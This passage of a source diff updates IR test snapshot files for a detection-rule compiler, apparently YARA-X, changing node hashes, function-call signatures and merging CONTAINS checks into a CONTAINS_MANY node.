0xf8be21d754f82ed1 + 18: LOOKUP -- hash: 0x110f51a681c19918 16: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 17: CONST integer(0) 19: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 21: CONST integer(0) - 29: EQ -- hash: 0x3e25e53c1b5f715a - 27: FIELD_ACCESS -- hash: 0x1c6354b767d1c1fe - 25: LOOKUP -- hash: 0x483e02ee8116c648 + 29: EQ -- hash: 0xbca4d012c2ee805e + 27: FIELD_ACCESS -- hash: 0x4ea488a7f2823103 + 25: LOOKUP -- hash: 0xb9c8dc4d95866f03 23: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 24: CONST integer(1) 26: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/6.cse.ir b/lib/src/compiler/ir/tests/testdata/6.cse.ir index d1d258dd4..63d1a4357 100644 --- a/lib/src/compiler/ir/tests/testdata/6.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/6.cse.ir @@ -1,22 +1,22 @@ RULE test - 19: OR -- hash: 0x49fa8d3e1c1d2dd3 - 9: AND -- hash: 0xd8afbc7967f97eaf - 3: EQ -- hash: 0x3cc636cd1ca8024e - 1: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xff5b08d53ac01266 + 19: OR -- hash: 0x699c76d1bb053f7d + 9: AND -- hash: 0x79681fda3554fc1 + 3: EQ -- hash: 0x7303696829e74cc2 + 1: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 0: CONST integer(0) 2: CONST integer(23117) - 8: EQ -- hash: 0xd7285d892ff19ace - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xc0c7a1735e97f90d - 5: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x96716663a7afd47d + 8: EQ -- hash: 0x94e437e8ccbba777 + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xb17f1b606318349d + 5: FN_CALL uint32@offset:i64@u32u -- hash: 0x70aa5c7aec38b3f5 4: CONST integer(60) 7: CONST integer(17744) - 18: AND -- hash: 0x916e2b5f19b600ff - 13: EQ -- hash: 0xc23888bf017109a4 - 11: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xaf4e73af58db142 + 18: AND -- hash: 0x1d0586250b6b1e47 + 13: EQ -- hash: 0xf5bbaabaa6700762 + 11: FN_CALL uint32@offset:i64@u32u -- hash: 0xe52ddd523e1690b9 10: CONST integer(0) 12: CONST integer(1179403647) - 17: NE -- hash: 0x669ef1315ef5a9f4 - 15: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xff5b08d53ac01266 + 17: NE -- hash: 0x9cdc23cc6834f468 + 15: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 14: CONST integer(0) 16: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/6.hoisting.ir b/lib/src/compiler/ir/tests/testdata/6.hoisting.ir index d1d258dd4..63d1a4357 100644 --- a/lib/src/compiler/ir/tests/testdata/6.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/6.hoisting.ir @@ -1,22 +1,22 @@ RULE test - 19: OR -- hash: 0x49fa8d3e1c1d2dd3 - 9: AND -- hash: 0xd8afbc7967f97eaf - 3: EQ -- hash: 0x3cc636cd1ca8024e - 1: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xff5b08d53ac01266 + 19: OR -- hash: 0x699c76d1bb053f7d + 9: AND -- hash: 0x79681fda3554fc1 + 3: EQ -- hash: 0x7303696829e74cc2 + 1: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 0: CONST integer(0) 2: CONST integer(23117) - 8: EQ -- hash: 0xd7285d892ff19ace - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xc0c7a1735e97f90d - 5: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x96716663a7afd47d + 8: EQ -- hash: 0x94e437e8ccbba777 + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xb17f1b606318349d + 5: FN_CALL uint32@offset:i64@u32u -- hash: 0x70aa5c7aec38b3f5 4: CONST integer(60) 7: CONST integer(17744) - 18: AND -- hash: 0x916e2b5f19b600ff - 13: EQ -- hash: 0xc23888bf017109a4 - 11: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xaf4e73af58db142 + 18: AND -- hash: 0x1d0586250b6b1e47 + 13: EQ -- hash: 0xf5bbaabaa6700762 + 11: FN_CALL uint32@offset:i64@u32u -- hash: 0xe52ddd523e1690b9 10: CONST integer(0) 12: CONST integer(1179403647) - 17: NE -- hash: 0x669ef1315ef5a9f4 - 15: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xff5b08d53ac01266 + 17: NE -- hash: 0x9cdc23cc6834f468 + 15: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 14: CONST integer(0) 16: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/6.ir b/lib/src/compiler/ir/tests/testdata/6.ir index d1d258dd4..63d1a4357 100644 --- a/lib/src/compiler/ir/tests/testdata/6.ir +++ b/lib/src/compiler/ir/tests/testdata/6.ir @@ -1,22 +1,22 @@ RULE test - 19: OR -- hash: 0x49fa8d3e1c1d2dd3 - 9: AND -- hash: 0xd8afbc7967f97eaf - 3: EQ -- hash: 0x3cc636cd1ca8024e - 1: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xff5b08d53ac01266 + 19: OR -- hash: 0x699c76d1bb053f7d + 9: AND -- hash: 0x79681fda3554fc1 + 3: EQ -- hash: 0x7303696829e74cc2 + 1: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 0: CONST integer(0) 2: CONST integer(23117) - 8: EQ -- hash: 0xd7285d892ff19ace - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xc0c7a1735e97f90d - 5: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x96716663a7afd47d + 8: EQ -- hash: 0x94e437e8ccbba777 + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xb17f1b606318349d + 5: FN_CALL uint32@offset:i64@u32u -- hash: 0x70aa5c7aec38b3f5 4: CONST integer(60) 7: CONST integer(17744) - 18: AND -- hash: 0x916e2b5f19b600ff - 13: EQ -- hash: 0xc23888bf017109a4 - 11: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xaf4e73af58db142 + 18: AND -- hash: 0x1d0586250b6b1e47 + 13: EQ -- hash: 0xf5bbaabaa6700762 + 11: FN_CALL uint32@offset:i64@u32u -- hash: 0xe52ddd523e1690b9 10: CONST integer(0) 12: CONST integer(1179403647) - 17: NE -- hash: 0x669ef1315ef5a9f4 - 15: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xff5b08d53ac01266 + 17: NE -- hash: 0x9cdc23cc6834f468 + 15: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 14: CONST integer(0) 16: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/6.no-folding.ir b/lib/src/compiler/ir/tests/testdata/6.no-folding.ir index 125a15f4b..63d1a4357 100644 --- a/lib/src/compiler/ir/tests/testdata/6.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/6.no-folding.ir @@ -1,22 +1,22 @@ RULE test - 19: OR -- hash: 0x15c1b9fd8bb07934 - 9: AND -- hash: 0x4f03f88669200ec7 - 3: EQ -- hash: 0x6636f0caaaf0ce1 - 1: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xd9c315b7872786ad + 19: OR -- hash: 0x699c76d1bb053f7d + 9: AND -- hash: 0x79681fda3554fc1 + 3: EQ -- hash: 0x7303696829e74cc2 + 1: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 0: CONST integer(0) 2: CONST integer(23117) - 8: EQ -- hash: 0x23d5cb37154e6e05 - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x114d562bc44dc92b - 5: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x70d97345f01748c4 + 8: EQ -- hash: 0x94e437e8ccbba777 + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xb17f1b606318349d + 5: FN_CALL uint32@offset:i64@u32u -- hash: 0x70aa5c7aec38b3f5 4: CONST integer(60) 7: CONST integer(17744) - 18: AND -- hash: 0xeb59fd3df0f925fc - 13: EQ -- hash: 0x8bd5c0fe8f781437 - 11: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xe55cf41d41f52588 + 18: AND -- hash: 0x1d0586250b6b1e47 + 13: EQ -- hash: 0xf5bbaabaa6700762 + 11: FN_CALL uint32@offset:i64@u32u -- hash: 0xe52ddd523e1690b9 10: CONST integer(0) 12: CONST integer(1179403647) - 17: NE -- hash: 0x303c2970e8fcb487 - 15: FN_CALL uint16@offset:i@i:R0:65535u -- hash: 0xd9c315b7872786ad + 17: NE -- hash: 0x9cdc23cc6834f468 + 15: FN_CALL uint16@offset:i64@u16u -- hash: 0x2891aee6b7e4a86 14: CONST integer(0) 16: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/7.cse.ir b/lib/src/compiler/ir/tests/testdata/7.cse.ir index 29db64e70..f29466294 100644 --- a/lib/src/compiler/ir/tests/testdata/7.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/7.cse.ir @@ -1,5 +1,5 @@ RULE test_1 - 13: FOR_IN -- hash: 0x33ca0ee64aa93dd6 + 13: FOR_IN -- hash: 0x990a4ef61a5ab173 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,21 +7,21 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 12: EQ -- hash: 0x8904697095cb76ab - 10: FIELD_ACCESS -- hash: 0x34d90f741707c780 - 6: LOOKUP -- hash: 0x7e699c8d78b13901 - 4: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 12: EQ -- hash: 0x942f3a070d1bf0cb + 10: FIELD_ACCESS -- hash: 0x1c367b79711e2a5b + 6: LOOKUP -- hash: 0x292cb96218de05db + 4: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 2: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 3: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 9: LOOKUP -- hash: 0x8cb8293be3610855 + 9: LOOKUP -- hash: 0x4aa80c697dcd2c54 7: SYMBOL Field { index: 6, is_root: false, type_value: array, acl: None, deprecation_notice: None } 8: CONST integer(0) 11: CONST integer(0) RULE test_2 - 7: DEFINED -- hash: 0x83920828745c61d7 - 6: FOR_IN -- hash: 0xa875318ff67c24a4 + 7: DEFINED -- hash: 0x94c0150506a132d7 + 6: FOR_IN -- hash: 0x2dc08c66648e658 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -29,28 +29,14 @@ RULE test_2 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(10) - 5: EQ -- hash: 0x2cd279a2ad114313 - 3: FN_CALL test_proto2.undef_i64@@iu -- hash: 0x27b4fb38ce4fcd4d + 5: EQ -- hash: 0x63e9c68287ff32a9 + 3: FN_CALL test_proto2.undef_i64@@i64u -- hash: 0xd679aaed89ae3780 4: CONST integer(0) RULE test_3 - 18: OR -- hash: 0x296ac0215c519821 - 5: CONTAINS -- hash: 0xe79cb207bd3992e5 - 3: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 4: CONST string("foo") - 11: CONTAINS -- hash: 0xe79cb207bd3992e5 - 9: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 7: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 8: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 10: CONST string("foo") - 17: CONTAINS -- hash: 0x721aded6408bbea - 15: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 12: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 13: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 14: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 16: CONST string("bar") + 18: CONTAINS_MANY LiteralSetId(0) -- hash: 0xe502bd802638dd0c + 3: FIELD_ACCESS -- hash: 0x4d29d6285f9d82c4 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/7.hoisting.ir b/lib/src/compiler/ir/tests/testdata/7.hoisting.ir index 1269167b7..71c7910da 100644 --- a/lib/src/compiler/ir/tests/testdata/7.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/7.hoisting.ir @@ -1,9 +1,9 @@ RULE test_1 - 15: WITH -- hash: 0xbde03d097f7ede1 - 14: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 15: WITH -- hash: 0x43cf6045a7e8ae05 + 14: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 2: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 3: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 13: FOR_IN -- hash: 0xc64e600939c50740 + 13: FOR_IN -- hash: 0x401294c84baa6aed n: Var { frame_id: 1, ty: integer, index: 1 } i: Var { frame_id: 1, ty: integer, index: 2 } max_count: Var { frame_id: 1, ty: integer, index: 3 } @@ -11,25 +11,25 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 5 } 0: CONST integer(0) 1: CONST integer(1) - 12: EQ -- hash: 0xa8c03d82477d27bd - 10: FIELD_ACCESS -- hash: 0x8ec5c4d884e08cef - 6: LOOKUP -- hash: 0x6902899869d87c84 + 12: EQ -- hash: 0x2a4491fe7d4a1db1 + 10: FIELD_ACCESS -- hash: 0x6c42b3fa3f52846 + 6: LOOKUP -- hash: 0xcc845309ca736bf9 4: SYMBOL Var { var: Var { frame_id: 0, ty: array, index: 0 }, type_value: array } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 6 }, type_value: integer(unknown) } - 9: LOOKUP -- hash: 0x8cb8293be3610855 + 9: LOOKUP -- hash: 0x4aa80c697dcd2c54 7: SYMBOL Field { index: 6, is_root: false, type_value: array, acl: None, deprecation_notice: None } 8: CONST integer(0) 11: CONST integer(0) RULE test_2 - 7: DEFINED -- hash: 0xcb28b3121bed9db - 9: WITH -- hash: 0x2cdfa770a16582a3 - 8: FN_CALL test_proto2.undef_i64@@iu -- hash: 0x27b4fb38ce4fcd4d - 11: WITH -- hash: 0xc33384ebfd4dca39 - 10: EQ -- hash: 0xdda4166d98e5fb3 + 7: DEFINED -- hash: 0xc0ca0d463a295fe + 9: WITH -- hash: 0x34450423c032e8f8 + 8: FN_CALL test_proto2.undef_i64@@i64u -- hash: 0xd679aaed89ae3780 + 11: WITH -- hash: 0x1a3c011732fc2f12 + 10: EQ -- hash: 0x62ad57185711d310 3: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } 4: CONST integer(0) - 6: FOR_IN -- hash: 0xf1259fea1ea134ba + 6: FOR_IN -- hash: 0x99d3f597362153af n: Var { frame_id: 1, ty: integer, index: 2 } i: Var { frame_id: 1, ty: integer, index: 3 } max_count: Var { frame_id: 1, ty: integer, index: 4 } @@ -40,23 +40,9 @@ RULE test_2 5: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 1 }, type_value: boolean(unknown) } RULE test_3 - 18: OR -- hash: 0x296ac0215c519821 - 5: CONTAINS -- hash: 0xe79cb207bd3992e5 - 3: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 4: CONST string("foo") - 11: CONTAINS -- hash: 0xe79cb207bd3992e5 - 9: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 7: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 8: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 10: CONST string("foo") - 17: CONTAINS -- hash: 0x721aded6408bbea - 15: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 12: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 13: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 14: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 16: CONST string("bar") + 18: CONTAINS_MANY LiteralSetId(0) -- hash: 0xe502bd802638dd0c + 3: FIELD_ACCESS -- hash: 0x4d29d6285f9d82c4 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/7.ir b/lib/src/compiler/ir/tests/testdata/7.ir index 29db64e70..f29466294 100644 --- a/lib/src/compiler/ir/tests/testdata/7.ir +++ b/lib/src/compiler/ir/tests/testdata/7.ir @@ -1,5 +1,5 @@ RULE test_1 - 13: FOR_IN -- hash: 0x33ca0ee64aa93dd6 + 13: FOR_IN -- hash: 0x990a4ef61a5ab173 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,21 +7,21 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 12: EQ -- hash: 0x8904697095cb76ab - 10: FIELD_ACCESS -- hash: 0x34d90f741707c780 - 6: LOOKUP -- hash: 0x7e699c8d78b13901 - 4: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 12: EQ -- hash: 0x942f3a070d1bf0cb + 10: FIELD_ACCESS -- hash: 0x1c367b79711e2a5b + 6: LOOKUP -- hash: 0x292cb96218de05db + 4: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 2: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 3: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 9: LOOKUP -- hash: 0x8cb8293be3610855 + 9: LOOKUP -- hash: 0x4aa80c697dcd2c54 7: SYMBOL Field { index: 6, is_root: false, type_value: array, acl: None, deprecation_notice: None } 8: CONST integer(0) 11: CONST integer(0) RULE test_2 - 7: DEFINED -- hash: 0x83920828745c61d7 - 6: FOR_IN -- hash: 0xa875318ff67c24a4 + 7: DEFINED -- hash: 0x94c0150506a132d7 + 6: FOR_IN -- hash: 0x2dc08c66648e658 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -29,28 +29,14 @@ RULE test_2 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(10) - 5: EQ -- hash: 0x2cd279a2ad114313 - 3: FN_CALL test_proto2.undef_i64@@iu -- hash: 0x27b4fb38ce4fcd4d + 5: EQ -- hash: 0x63e9c68287ff32a9 + 3: FN_CALL test_proto2.undef_i64@@i64u -- hash: 0xd679aaed89ae3780 4: CONST integer(0) RULE test_3 - 18: OR -- hash: 0x296ac0215c519821 - 5: CONTAINS -- hash: 0xe79cb207bd3992e5 - 3: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 4: CONST string("foo") - 11: CONTAINS -- hash: 0xe79cb207bd3992e5 - 9: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 7: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 8: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 10: CONST string("foo") - 17: CONTAINS -- hash: 0x721aded6408bbea - 15: FIELD_ACCESS -- hash: 0x63bc9bc95d660aee - 12: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 13: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 14: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 16: CONST string("bar") + 18: CONTAINS_MANY LiteralSetId(0) -- hash: 0xe502bd802638dd0c + 3: FIELD_ACCESS -- hash: 0x4d29d6285f9d82c4 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/7.no-folding.ir b/lib/src/compiler/ir/tests/testdata/7.no-folding.ir index 5252917b1..f29466294 100644 --- a/lib/src/compiler/ir/tests/testdata/7.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/7.no-folding.ir @@ -1,5 +1,5 @@ RULE test_1 - 13: FOR_IN -- hash: 0x759f60f5a7f015eb + 13: FOR_IN -- hash: 0x990a4ef61a5ab173 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,21 +7,21 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 12: EQ -- hash: 0x5c8fc30a843d9a50 - 10: FIELD_ACCESS -- hash: 0x3ec51a750647f9a8 - 6: LOOKUP -- hash: 0x491138f2e72b9f66 - 4: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 12: EQ -- hash: 0x942f3a070d1bf0cb + 10: FIELD_ACCESS -- hash: 0x1c367b79711e2a5b + 6: LOOKUP -- hash: 0x292cb96218de05db + 4: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 2: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 3: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 9: LOOKUP -- hash: 0x1bd1e557c8168259 + 9: LOOKUP -- hash: 0x4aa80c697dcd2c54 7: SYMBOL Field { index: 6, is_root: false, type_value: array, acl: None, deprecation_notice: None } 8: CONST integer(0) 11: CONST integer(0) RULE test_2 - 7: DEFINED -- hash: 0x1d49f5b40894ff06 - 6: FOR_IN -- hash: 0xd90605d04c83c3bc + 7: DEFINED -- hash: 0x94c0150506a132d7 + 6: FOR_IN -- hash: 0x2dc08c66648e658 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -29,28 +29,14 @@ RULE test_2 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(10) - 5: EQ -- hash: 0x73a8684f978b75a - 3: FN_CALL test_proto2.undef_i64@@iu -- hash: 0xc0206489d8f27bee + 5: EQ -- hash: 0x63e9c68287ff32a9 + 3: FN_CALL test_proto2.undef_i64@@i64u -- hash: 0xd679aaed89ae3780 4: CONST integer(0) RULE test_3 - 18: OR -- hash: 0xc03b2943bc74ac56 - 5: CONTAINS -- hash: 0x9b34a06a5c144733 - 3: FIELD_ACCESS -- hash: 0xa68ef47d7e9f1bf3 - 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 4: CONST string("foo") - 11: CONTAINS -- hash: 0x9b34a06a5c144733 - 9: FIELD_ACCESS -- hash: 0xa68ef47d7e9f1bf3 - 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 7: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 8: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 10: CONST string("foo") - 17: CONTAINS -- hash: 0xbab99c5006e37037 - 15: FIELD_ACCESS -- hash: 0xa68ef47d7e9f1bf3 - 12: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } - 13: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } - 14: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 16: CONST string("bar") + 18: CONTAINS_MANY LiteralSetId(0) -- hash: 0xe502bd802638dd0c + 3: FIELD_ACCESS -- hash: 0x4d29d6285f9d82c4 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 44, is_root: false, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 5, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/8.cse.ir b/lib/src/compiler/ir/tests/testdata/8.cse.ir index b59ab806d..8f53bbb23 100644 --- a/lib/src/compiler/ir/tests/testdata/8.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/8.cse.ir @@ -1,5 +1,5 @@ RULE test_1 - 14: FOR_IN -- hash: 0xcff1e20451055391 + 14: FOR_IN -- hash: 0x616cc6012d145cb6 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,7 +7,7 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 13: FOR_IN -- hash: 0x8f04881f0c313ede + 13: FOR_IN -- hash: 0xf9dbc17ab3aebbc4 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -15,18 +15,18 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) 3: CONST integer(1) - 12: EQ -- hash: 0xeb807bdffaa380d7 - 8: MUL -- hash: 0xbde422737d04274c - 6: ADD -- hash: 0x11ca3959d9be382c + 12: EQ -- hash: 0xa47bdeb071cc333 + 8: MUL -- hash: 0xfa358cb21bd9558d + 6: ADD -- hash: 0xc235c4c79a917c37 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 7: CONST integer(2) - 11: MINUS -- hash: 0x241d002968f97096 - 10: MINUS -- hash: 0x68254094e6feb5f8 + 11: MINUS -- hash: 0x8575ca48083f9355 + 10: MINUS -- hash: 0xc97e0ab38644d8b7 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } RULE test_2 - 10: FOR_IN -- hash: 0x5fa30afbd11d7a2a + 10: FOR_IN -- hash: 0x90d630e63e981edb n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -34,7 +34,7 @@ RULE test_2 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) 1: CONST integer(1) - 9: FOR_IN -- hash: 0x4cf5fa0e0fbbad81 + 9: FOR_IN -- hash: 0xfd8ebbf0421eb42f n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, 